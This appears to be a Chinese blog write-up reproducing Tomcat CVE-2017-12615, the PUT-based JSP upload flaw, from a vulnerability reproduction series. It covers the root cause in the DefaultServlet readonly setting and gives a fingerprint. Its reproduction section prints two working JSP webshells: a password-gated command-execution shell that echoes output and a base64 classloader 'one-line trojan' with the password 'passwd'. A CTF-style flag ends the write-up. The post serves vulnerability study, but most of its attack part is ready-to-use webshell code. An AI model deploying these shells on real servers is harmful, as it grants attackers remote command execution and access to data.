• 一、【漏洞复现系列】Tomcat文件上传 (CVE-2017-12615)


    1.1、漏洞原理

    描述: Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。 Tomcat 的 Servlet 是在 conf/web.xml 配置的,通过配置文件可知,当后缀名为 .jsp 和 .jspx 的时候,是通过 JspServlet 处理请求的: 而其他的静态文件是通过 DefaultServlet 处理的: 可以得知,“1.jsp ”(末尾有一个空格)并不能匹配到 JspServlet,而是会交由 DefaultServlet 去处理。当处理 PUT 请求时: 会调用 resources.bind: dirContext 为 FileDirContext: 调用 rebind 创建文件: 又由于Windows 不允许“ ”作为文件名结尾,所以会创建一个 .jsp 文件,导致代码执行。

    漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:

    
    
        defaultservlet-name>
    
        org.apache.catalina.servlets.DefaultServletservlet-class>
    
        
    
            debugparam-name>
    
            0param-value>
    
        init-param>
    
        
    
            listingsparam-name>
    
            falseparam-value>
    
        init-param>
    
        
    
            readonlyparam-name>
    
            falseparam-value>
    
        init-param>
    
        1load-on-startup>
    
    servlet>

    1.2、影响范围(不重要,去试就行)

    Apache Tomcat 7.0.0 - 8.0.81 

    1.3、 漏洞指纹

    tomcat

    8009

    ajp

    \x04\x01\xf4\x00\x15

    1.4、漏洞复现

    如下是回显jsp马

    <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("
    ");while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("
    "); } %>

    如下是连接的jsp一句话木马,,密码是passwd

    <%!
        class U extends ClassLoader {
            U(ClassLoader c) {
                super(c);
            }
            public Class g(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }
     
        public byte[] base64Decode(String str) throws Exception {
            try {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            } catch (Exception e) {
                Class clazz = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            }
        }
    %>
    <%
        String cls = request.getParameter("passwd");
        if (cls != null) {
            new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
        }
    %>

    flag-{bmhbf13076b-9643-4a67-a3c1-550825a9f6ba}

  • 相关阅读:
    【记录】GLICB2.25 升级时报错
    LINUX基础培训三十之理论基础知识自测题(附答案)
    SpringBoot3正式版将于11月24日发布:都有哪些新特性?
    分享在大疆DJI(深圳总部)工作的日常和福利
    黑马点评项目遇到的部分问题
    【Elasticsearch教程12】Mapping字段类型之object
    Vue2.0开发之——Vue基础用法-侦听器(27)
    WorkPlus AI智能助理,基于GPT为企业提供专属的私有化部署解决方案
    场景图形管理 - (2)
    Flutter 下载篇 - 叁 | 网络库切换实践与思考
  • 原文地址:https://blog.csdn.net/weixin_52351575/article/details/133084239